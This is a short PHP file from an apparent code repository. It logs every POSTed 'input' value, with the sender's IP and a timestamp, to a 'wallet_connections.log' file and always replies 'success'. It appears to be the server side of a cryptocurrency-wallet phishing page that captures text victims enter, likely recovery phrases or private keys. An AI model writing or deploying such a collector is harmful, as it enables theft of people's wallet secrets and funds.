File size: 529 Bytes
d65621e
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// Log all wallet connection attempts
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $data = json_decode(file_get_contents('php://input'), true);
    $input = isset($data['input']) ? $data['input'] : '';
    $timestamp = date('Y-m-d H:i:s');
    $ip = $_SERVER['REMOTE_ADDR'];
    
    $logEntry = "[$timestamp] [$ip] Input: $input\n";
    file_put_contents('wallet_connections.log', $logEntry, FILE_APPEND);
    
    header('Content-Type: application/json');
    echo json_encode(['status' => 'success']);
    exit;
}
?>